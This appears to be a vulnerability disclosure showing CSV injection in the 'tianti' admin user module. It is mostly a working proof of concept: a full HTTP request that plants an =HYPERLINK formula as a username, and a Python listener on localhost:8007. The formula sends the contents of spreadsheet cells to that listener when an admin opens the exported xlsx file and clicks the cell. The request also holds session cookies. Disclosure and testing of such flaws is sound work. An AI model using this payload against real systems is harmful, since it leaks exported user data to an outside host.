CSV Injection Vulnerability

[Eleina-233]

The product has the CSV injection vulnerability，The premise is that you need to be in the login state

1, First create a low-privileged user

2, Log in to a low-privileged user and create a malicious user

Then send the package

POST /tianti-module-admin/user/ajax/save HTTP/1.1
Host: localhost:8888
Content-Length: 135
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8888
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8888/tianti-module-admin/user/update_pwd
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=D1E9B42664FA8DF416B5D97A8CEAA805; _jspxcms=0bdeaa17af6448558d5181a98d4df1a0; Hm_lvt_57e9a5bfc4003c9bc1fd23dba7598170=1664259891; Phpstorm-66f14989=68db331b-21f1-4319-88e3-036932e5e8ad; _jpanonym="MGUyNzc1N2NmY2QwZTA0MDk4YzBlN2ZjNTY2YzBjYTQjMTY2ODM0MDQ1NjU5MCMzMTUzNjAwMCNOekkyTXpOaE1tVXpZak5sTkRCallqaGtORFZtTm1abE5qUm1OV1V4WkRRPQ=="; Hm_lvt_bfe2407e37bbaa8dc195c5db42daf96a=1668340479; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1669038142,1669101592,1669167302; Hm_lvt_1040d081eea13b44d84a4af639640d51=1669203862; __bid_n=184a44da31c5abff074207; PUBLICCMS_ANALYTICS_ID=129faf04-65fd-46b0-8d88-56f21d780fe5; PUBLICCMS_ADMIN=1_e45b8556-ed10-4917-a0f5-8e9fc43a2828; JSESSIONID=d2e34d48-bb9d-4174-a34e-dff5b868def8
Connection: close

id=&username==HYPERLINK("http://localhost:8007?u="%26B2%26B3%2c"E")&password=123456&realName=&mobile=&roleId=

Successfully added user named =HYPERLINK("http://localhost:8007?u="%26B2%26B3%2c"E")

3. Run the Python script to receive locally

from http.server import HTTPServer, BaseHTTPRequestHandler
import json

data = {'result': 'hacked'}
host = ('localhost', 8007)


class Resquest(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'application/json')
        self.end_headers()
        self.wfile.write(json.dumps(data).encode())

if __name__ == '__main__':
    server = HTTPServer(host, Resquest)
    print("Starting server, listen at: %s:%s" % host)
    server.serve_forever()

4. When admin exports .xlsx file, Open .xlsx log file, double-click the cell of =HYPERLINK("http://localhost:8007?u="%26B2%26B3%2c"E"). Then click an empty cell. And then click the cell of =HYPERLINK("http://localhost:8007?u="%26B2%26B3%2c"E"). In this case, a request is sent to the localhost:8007.

First double-click the =HYPERLINK("http://localhost:8007?u="%26B2%26B3%2c"E") cell Click on a blank cell Finally, clicking the original cell again will send a request to localhost:8007 through the browser

It is recommended to shield the formula when exporting Excel to prevent the risk of CSV injection

[gg110]

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